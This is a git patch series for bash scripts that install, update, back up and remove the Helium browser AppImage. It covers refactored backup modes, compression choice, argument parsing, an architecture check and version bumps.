$BACKUP_ITEM $TMP/backup - until [ "$BACKUP_COMPRESSION" ] ; do - for COMPRESSION_TYPE in ${COMPRESSION_METHOD[@]} ; do - - if [ "$(command -v $COMPRESSION_TYPE) > /dev/null 2>&1" ] ; then - BACKUP_COMPRESSION=$COMPRESSION_TYPE - break - fi - done - done - fi - - echo -e "\n - ${CRS}Compressing backup archive with ${CYN}$BACKUP_COMPRESSION${CRS}...${CRS}\n" - - if [ "$BACKUP_COMPRESSION" == "pbzip2" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - pbzip2 $APP_NAME.backup_$DATE.tar - mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH - cd $TMP && rm -rf backup - - elif [ "$BACKUP_COMPRESSION" == "gzip" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - gzip $APP_NAME.backup_$DATE.tar - mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.gz $BACKUP_PATH - cd $TMP && rm -rf backup - - elif [ "$BACKUP_COMPRESSION" == "bzip2" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - bzip2 $APP_NAME.backup_$DATE.tar - mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH - cd $TMP && rm -rf backup - - elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - zip -r $APP_NAME.backup_$DATE.tar.zip $APP_NAME.backup_$DATE.tar > /dev/null 2>&1 - mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.zip $BACKUP_PATH - cd $TMP && rm -rf backup - - else - echo -e " ${YEL}No supported compression method detected! Copying backup uncompressed...${CRS}\n" - mkdir -p $BACKUP_PATH - mv $TMP/backup $BACKUP_PATH/$APP_NAME.backup_$DATE - cd $TMP && rm -rf backup - fi - - echo -e " - ${CRS}Backup stored in ${CYN}$BACKUP_PATH${CRS}...${CRS}\n" - cd $CWD + elif [ -f "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup + cp $BACKUP_ITEM $TMP/backup fi + done +} + +script_backup() { + if [ -d "$SCRIPT_PATH" ] ; then + BACKUPABLE=("$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME") + echo -e "\n - ${CRS}Collecting files for ${CYN}$BACKUP_METHOD${CRS} backup...${CRS}" + backup_file_collector + pack_backup else echo -e " ${YEL}Nothing to back up...${CRS}" fi } +app_backup() { + if [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then + BACKUPABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION") + echo -e "\n - ${CRS}Collecting files for ${CYN}$BACKUP_METHOD${CRS} backup...${CRS}" + backup_file_collector + pack_backup + + else + echo -e " ${YEL}Nothing to back up...${CRS}" + fi +} + +config_backup() { + if [[ -d "$LAUNCHER_PATH" || -d $APP_CONFIG_PATH ]] ; then + BACKUPABLE=("$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") + echo -e "\n - ${CRS}Collecting files for ${CYN}$BACKUP_METHOD${CRS} backup...${CRS}" + backup_file_collector + pack_backup + + else + echo -e " ${YEL}Nothing to back up...${CRS}" + fi +} + +full_backup() { + if [[ -d "$INSTALL_PATH" || -d "$SCRIPT_PATH" || -d $APP_CONFIG_PATH ]] ; then + BACKUPABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") + echo -e "\n - ${CRS}Collecting files for ${CYN}$BACKUP_METHOD${CRS} backup...${CRS}" + backup_file_collector + pack_backup + + else + echo -e " ${YEL}Nothing to back up...${CRS}" + fi +} + +pack_backup() { + if [ -d "$TMP/backup" ] ; then + CWD=$(pwd) + cd $TMP/backup + + if [[ -f "*.sh" ]] ; then + chmod -x *.sh + + elif [[ -f "*.$FILE_EXTENSION" ]] ; then + chmod -x *.$FILE_EXTENSION + fi + + if [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then + BACKUP_COMPRESSION=$BACKUP_COMPRESSION_OVERRIDE + + else + COMPRESSION_METHOD=("pbzip2" "gzip" "bzip2" "zip") + + until [ "$BACKUP_COMPRESSION" ] ; do + for COMPRESSION_TYPE in ${COMPRESSION_METHOD[@]} ; do + + if [ "$(command -v $COMPRESSION_TYPE) > /dev/null 2>&1" ] ; then + BACKUP_COMPRESSION=$COMPRESSION_TYPE + break + fi + done + done + fi + + echo -e "\n - ${CRS}Compressing backup archive with ${CYN}$BACKUP_COMPRESSION${CRS}...${CRS}\n" + + if [ "$BACKUP_COMPRESSION" == "pbzip2" ] ; then + tar -cf $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar * > /dev/null 2>&1 + pbzip2 $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar.bz2 $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "gzip" ] ; then + tar -cf $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar * > /dev/null 2>&1 + gzip $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar.gz $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "bzip2" ] ; then + tar -cf $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar * > /dev/null 2>&1 + bzip2 $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar.bz2 $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then + zip -r $APP_NAME.$BACKUP_METHOD.backup_$DATE.zip $APP_NAME.$BACKUP_METHOD.backup_$DATE > /dev/null 2>&1 + mkdir -p $BACKUP_PATH + mv $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar.zip $BACKUP_PATH + cd $TMP && rm -rf backup + + else + echo -e " ${YEL}No supported compression method detected! Copying backup uncompressed...${CRS}\n" + mkdir -p $BACKUP_PATH + mv $TMP/backup $BACKUP_PATH/$APP_NAME.$BACKUP_METHOD.backup_$DATE + cd $TMP && rm -rf backup + fi + + echo -e " - ${CRS}Backup stored in ${CYN}$BACKUP_PATH${CRS}...${CRS}\n" + cd $CWD + fi +} + ### REMOVE -remove_helium() { +remove_application() { if [ -d "$INSTALL_PATH" ] ; then while true ; do read -p " Remove $APP_NAME_LONG incl. backups, configuration and launcher? (Y/n) : " CONFIRM_REMOVE if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then - REMOVABLE=("$INSTALL_PATH" "$LAUNCHER_PATH/$APP_NAME.desktop" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$APP_CONFIG_PATH") - echo -e "\n - ${CRS}Removing ${CYN}$APP_NAME${CRS} directory and configuration...${CRS}" + REMOVABLE=("$INSTALL_PATH" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME") + echo -e "\n - ${CRS}Removing ${CYN}$APP_NAME_LONG${CRS} files, directories and configuration...${CRS}" for RM_PATH in "${REMOVABLE[@]}" ; do if [[ -f "$RM_PATH" || -d "$RM_PATH" ]] ; then @@ -471,8 +537,13 @@ script_version() { } ### UPDATE SCRIPT +scrip_version_info() { + echo -e " - ${CYN}Local Version :\t${CRS}$SCRIPT_VERSION" + echo -e " - ${CYN}Remote Version :\t${CRS}$REMOTE_SCRIPT_VERSION" + echo -e " - ${CYN}Update Branch :\t${CRS}$REMOTE_REPO_BRANCH\n" +} + update_script() { - ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo -e "\n ${YEL}$SCRIPT_FILE_NAME not found...${CRS}" @@ -520,9 +591,8 @@ update_script() { echo -e "\n ${GRN}$SCRIPT_FILE_NAME is already up-to-date!${CRS}\n" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then - echo -e "\n ${YEL}$SCRIPT_FILE_NAME is updatable!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" - echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" + echo -e "\n ${LCY}$SCRIPT_FILE_NAME is updatable!${CRS}\n" + scrip_version_info while true ; do read -p " Update $SCRIPT_FILE_NAME? (Y/n) : " CONFIRM_SCRIPT_UPDATE @@ -542,7 +612,7 @@ update_script() { break elif [[ "$CONFIRM_SCRIPT_UPDATE" == "n" || "$CONFIRM_SCRIPT_UPDATE" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}" + echo -e " ${RED}Cancelled!${CRS}\n" break else @@ -552,18 +622,21 @@ update_script() { else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" - echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" + scrip_version_info echo -e " ${RED}Updating script failed...${CRS}\n" fi } -### COMPARE APPIMAGE VERSIONarch_check +### COMPARE APP VERSION +app_version_info() { + echo -e " - ${CYN}Local Version :\t${CRS}$LOCAL_VERSION" + echo -e " - ${CYN}$APP_SOURCE Version :\t${CRS}$APP_SOURCE_VERSION\n" +} + compare_version() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') - ### CHECK FOR EMPTY VERSION TAGS if [ -z "$APP_SOURCE_VERSION" ] ; then echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}\n" exit @@ -573,26 +646,20 @@ compare_version() { exit fi - ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" + app_version_info elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then - echo -e "\n ${YEL}$APP_NAME_LONG is updatable!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" + echo -e "\n ${LCY}$APP_NAME_LONG is updatable!${CRS}\n" + app_version_info else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" - echo -e " ${RED}Update failed... Exiting...${CRS}\n" - exit + app_version_info fi } @@ -600,19 +667,19 @@ compare_version() { help() { echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" echo -e "$APP_NAME_LONG installer & updater script\n" - echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -a | -u | -r | -c | -s | -S | -h ]\n" # | -U | + echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -a | -u | -b | -r | -c | -s | -S | -h ]\n" echo -e "Options:\n" - echo -e "\t-i\tDownload & install $APP_NAME_LONG from $APP_SOURCE" + echo -e "\t-i\tInstall $APP_NAME_LONG from $APP_SOURCE" echo -e "\t-l\tCreate desktop launcher" echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME" - echo -e "\t-u\tDownload & update $APP_NAME_LONG from $APP_SOURCE" + echo -e "\t-u\tUpdate $APP_NAME_LONG from $APP_SOURCE" echo -e "\t-b\tBackup $APP_NAME_LONG & configuration" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" echo -e "\t-S\tUpdate $SCRIPT_FILE_NAME" - echo -e "\t-h\tPrint this help page.\n" - echo -e "Configured locations:\n" + echo -e "\t-h\tPrint this help page\n" + echo -e "Configured directories:\n" echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" echo -e "\t${CYN}${LAUNCHER_PATH}${CRS}\tLauncher location" echo -e "\t${CYN}${SCRIPT_PATH}${CRS}\t\t\tScript location\n" @@ -631,12 +698,28 @@ exit_clean() { ## GET OPTIONS while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do + + if [ "$(echo $1 | wc -m)" -gt "3" ] ; then + echo -e "\n${YEL}Option ${RED}$1${YEL} not valid! Use only one parameter at a time...${CRS}" + help + exit + fi + case $OPTION in i) echo -e "\n ${YEL}Installing $APP_NAME_LONG...${CRS}\n" + if [ "$#" -gt "1" ] ; then + ALL_PARAMETER=$@ + + for PARAMETER in ${ALL_PARAMETER[@]} ; do + if [ -d "$PARAMETER" ] ; then + INSTALL_PATH=$PARAMETER + fi + done + fi dependency_check arch_check - install_helium + install_application exit_clean ;; l) @@ -648,8 +731,14 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do a) echo -e "\n ${YEL}Adding alias...${CRS}" - if [ "$2" ] ; then - ALIAS=$2 + if [ "$#" -gt "1" ] ; then + ALL_PARAMETER=$@ + + for PARAMETER in ${ALL_PARAMETER[@]} ; do + if [ "$PARAMETER" ] ; then + ALIAS=$PARAMETER + fi + done fi shell_check add_alias @@ -660,20 +749,32 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do dependency_check arch_check local_check - update_helium + update_application exit_clean ;; b) - echo -e "\n ${YEL}Backing up $APP_NAME_LONG incl. configuration and script...${CRS}" - if [ "$2" ] ; then - BACKUP_PATH=$2 - fi - backup_helium + echo -e "\n ${YEL}Backing up $APP_NAME_LONG...${CRS}" + if [ "$#" -gt "1" ] ; then + ALL_PARAMETER=$@ + + for PARAMETER in ${ALL_PARAMETER[@]} ; do + if [[ "$PARAMETER" == "script" || "$PARAMETER" == "config" || "$PARAMETER" == "app" || "$PARAMETER" == "full" ]] ; then + BACKUP_METHOD=$PARAMETER + + elif [[ "$PARAMETER" == "pbzip2" || "$PARAMETER" == "gzip" || "$PARAMETER" == "bzip2" || "$PARAMETER" == "zip" ]] ; then + BACKUP_COMPRESSION_OVERRIDE=$PARAMETER + + elif [ -d "$PARAMETER" ] ; then + BACKUP_PATH=$PARAMETER + fi + done + fi + call_backup exit ;; r) echo -e "\n ${YEL}Removing $APP_NAME_LONG...${CRS}\n" - remove_helium + remove_application exit ;; c) @@ -704,15 +805,15 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do esac done -## DEPENDENCY CHECK +## ENVIRONMENT CHECK dependency_check arch_check -## CHECK FOR LOCAL INSTALL +## CHECK LOCAL INSTALL local_check ## UPDATE -update_helium +update_application ## CLEAN exit_clean diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 9e1e8b2..78b82b8 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -66,7 +66,7 @@ dependency_check () { if [ -f "$TMP/missingDeps" ] ; then MISSING=$(cat $TMP/missingDeps) echo "$DATE | Failed to update - missing dependencies : $MISSING" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Update failed! See log for details" exit_clean fi @@ -74,12 +74,12 @@ dependency_check () { if ! [ -d "$INSTALL_PATH" ] ; then mkdir -p $INSTALL_PATH echo "$DATE | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Update failed! See log for details" exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo "$DATE | Failed to update - Local $APP_NAME AppImage not found" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Update failed! See log for details" exit fi @@ -160,7 +160,7 @@ backup_helium() { fi echo "$DATE | Backup - Backup (compressed $BACKUP_COMPRESSION archive) written to $BACKUP_PATH" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Backup created" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Backup created" cd $CWD fi @@ -174,7 +174,7 @@ update_script() { ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "$DATE | Failed to update script - local file not found" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" exit fi @@ -184,12 +184,12 @@ update_script() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then echo "$DATE | Failed to update script - Empty version tag --> local" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then echo "$DATE | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" exit fi @@ -199,7 +199,7 @@ update_script() { REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script is up-to-date" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Script is up-to-date" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old @@ -209,13 +209,13 @@ update_script() { chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME $SCRIPT_PATH echo "$DATE | Script updated to version $REMOTE_SCRIPT_VERSION" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script updated to version $REMOTE_SCRIPT_VERSION" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Script updated to version $REMOTE_SCRIPT_VERSION" else echo "$DATE | Failed to update - Malformed version tags" >> $LOG echo "$DATE | Remote Version: $REMOTE_SCRIPT_VERSION" >> $LOG echo "$DATE | Local Version: $SCRIPT_VERSION" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" fi } @@ -229,12 +229,12 @@ update_helium() { ### CHECK FOR EMPTY VERSION TAGS if [[ -z "$APP_SOURCE_VERSION" ]] ; then echo "$DATE | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser update failed! See log for details" exit elif [[ -z "$LOCAL_VERSION" ]] ; then echo "$DATE | Failed to update - Empty version tag --> LOCAL" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser update failed! See log for details" exit fi @@ -244,7 +244,7 @@ update_helium() { APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser is up-to-date" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser is up-to-date" elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then mkdir -p $TMP @@ -254,11 +254,11 @@ update_helium() { mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo "$DATE | $APP_NAME updated to version ${APP_SOURCE_VERSION}" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser updated to version $APP_SOURCE_VERSION" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser updated to version $APP_SOURCE_VERSION" else echo "$DATE | Failed to update - Version tags malformed" >> $LOG - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser update failed! See log for details" + notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser update failed! See log for details" exit fi @@ -277,7 +277,7 @@ show_log() { xdg-open $LOG else - notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "No log created yet" + notify-send --icon="$ICON" "$NOTIFY_NAME" "No log created yet" fi } @@ -314,6 +314,13 @@ exit_clean() { ## GET OPTIONS while getopts ":a,:s,:S,:L,:h" OPTION ; do + + if [ "$(echo $1 | wc -m)" -gt "3" ] ; then + echo -e "\n${YEL}Option ${RED}$1${YEL} not valid! Use only one parameter at a time...${CRS}" + help + exit + fi + case $OPTION in S) From 66054bd6b18cd749548a088e151392d56b01e32a Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 12:59:59 +0100 Subject: [PATCH 090/106] Prep for workflows --- assets/workflow/merge | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/workflow/merge diff --git a/assets/workflow/merge b/assets/workflow/merge new file mode 100644 index 0000000..e69de29 From e608de8eedb56291bb837cc259095f3970425993 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 14:18:16 +0100 Subject: [PATCH 091/106] Version bumped --> 0.5.9 --- helium_helper.sh | 2 +- helium_launcher_update.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 86f99d2..6dfbeb1 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -288,7 +288,7 @@ update_application() { mkdir -p $TMP echo -e "\n - Downloading ${CYN}$APP_SOURCE_FILENAME${CRS}..." wget -P $TMP $DOWNLOAD_URL -q - full_backup + ${BACKUP_METHOD}_backup chmod +x $TMP/$APP_SOURCE_FILENAME mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 78b82b8..88102e6 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -13,7 +13,7 @@ NOTIFY_NAME="Helium Helper" SCRIPT_NAME="$APP_NAME Launcher Updater" PARENT_SCRIPT_FILE_NAME="helium_helper.sh" SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.8" +SCRIPT_VERSION="0.5.9" DATE=$(date) ## LOCATIONS From 3fa31db0ff5184f9ae27b7dd5ebf38077091f977 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 14:19:07 +0100 Subject: [PATCH 092/106] More research on workflows --- assets/workflow/merge | 0 assets/workflow/merge.yml | 3 +++ 2 files changed, 3 insertions(+) delete mode 100644 assets/workflow/merge create mode 100644 assets/workflow/merge.yml diff --git a/assets/workflow/merge b/assets/workflow/merge deleted file mode 100644 index e69de29..0000000 diff --git a/assets/workflow/merge.yml b/assets/workflow/merge.yml new file mode 100644 index 0000000..4289a64 --- /dev/null +++ b/assets/workflow/merge.yml @@ -0,0 +1,3 @@ +on: + pull_requests: + pull_request_target: \ No newline at end of file From 4db4454a9055f6dfc3b9ccade122c2ef53ed37f1 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 15:25:06 +0100 Subject: [PATCH 093/106] Architecture verification added --- helium_helper.sh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/helium_helper.sh b/helium_helper.sh index 6dfbeb1..ea84e3d 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -99,6 +99,11 @@ arch_check() { ARCH="x86_64" fi fi + + if ! [[ "$ARCH" == "arm64" || "$ARCH" == "x86_64" ]] ; then + echo -e "\n ${CYN}$ARCH ${RED}unsupported! Only ${CYN}x86_68 ${RED}or ${CYN}arm64 ${RED}architecture are supported!${CRS}\n" + exit + fi } ### CHECK LOCAL INSTALL From 969f8b2eb594022f1337858ea03b5a73aa4c8dc9 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 17:02:12 +0100 Subject: [PATCH 094/106] zip hotfix --- helium_helper.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index ea84e3d..ec36448 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -23,7 +23,7 @@ BACKUP_COMPRESSION_OVERRIDE="" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.9" +SCRIPT_VERSION="0.5.9.1" ALIAS="update-helium" DATE=$(date +"%d%m%y") @@ -436,7 +436,7 @@ pack_backup() { done fi - echo -e "\n - ${CRS}Compressing backup archive with ${CYN}$BACKUP_COMPRESSION${CRS}...${CRS}\n" + echo -e "\n - ${CRS}Packing backup archive with ${CYN}$BACKUP_COMPRESSION${CRS}...${CRS}\n" if [ "$BACKUP_COMPRESSION" == "pbzip2" ] ; then tar -cf $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar * > /dev/null 2>&1 @@ -460,7 +460,8 @@ pack_backup() { cd $TMP && rm -rf backup elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then - zip -r $APP_NAME.$BACKUP_METHOD.backup_$DATE.zip $APP_NAME.$BACKUP_METHOD.backup_$DATE > /dev/null 2>&1 + tar -cf $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar * > /dev/null 2>&1 + zip -r $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar.zip $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar > /dev/null 2>&1 mkdir -p $BACKUP_PATH mv $APP_NAME.$BACKUP_METHOD.backup_$DATE.tar.zip $BACKUP_PATH cd $TMP && rm -rf backup From dd615058c4b0a6b50d8b4df20d853c2165647e12 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 10 Jan 2026 18:22:32 +0100 Subject: [PATCH 095/106] Hotfix date confusion --- helium_launcher_update.sh | 67 ++++++++++++++++++++------------------- 1 file changed, 34 insertions(+), 33 deletions(-) diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 88102e6..a1fb03b 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -13,8 +13,9 @@ NOTIFY_NAME="Helium Helper" SCRIPT_NAME="$APP_NAME Launcher Updater" PARENT_SCRIPT_FILE_NAME="helium_helper.sh" SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.9" -DATE=$(date) +SCRIPT_VERSION="0.5.9.1" +LOG_DATE=$(date) +DATE=$(date +"%d%m%y") ## LOCATIONS TMP=/tmp/$APP_NAME @@ -59,13 +60,13 @@ dependency_check () { mkdir -p $LOG_PATH echo "########## $APP_NAME_LONG update log ##########" >> $LOG echo >> $LOG - echo "$DATE | Log created" >> $LOG + echo "$LOG_DATE | Log created" >> $LOG fi if [ -f "$TMP/missingDeps" ] ; then MISSING=$(cat $TMP/missingDeps) - echo "$DATE | Failed to update - missing dependencies : $MISSING" >> $LOG + echo "$LOG_DATE | Failed to update - missing dependencies : $MISSING" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Update failed! See log for details" exit_clean @@ -73,12 +74,12 @@ dependency_check () { if ! [ -d "$INSTALL_PATH" ] ; then mkdir -p $INSTALL_PATH - echo "$DATE | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG + echo "$LOG_DATE | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG notify-send 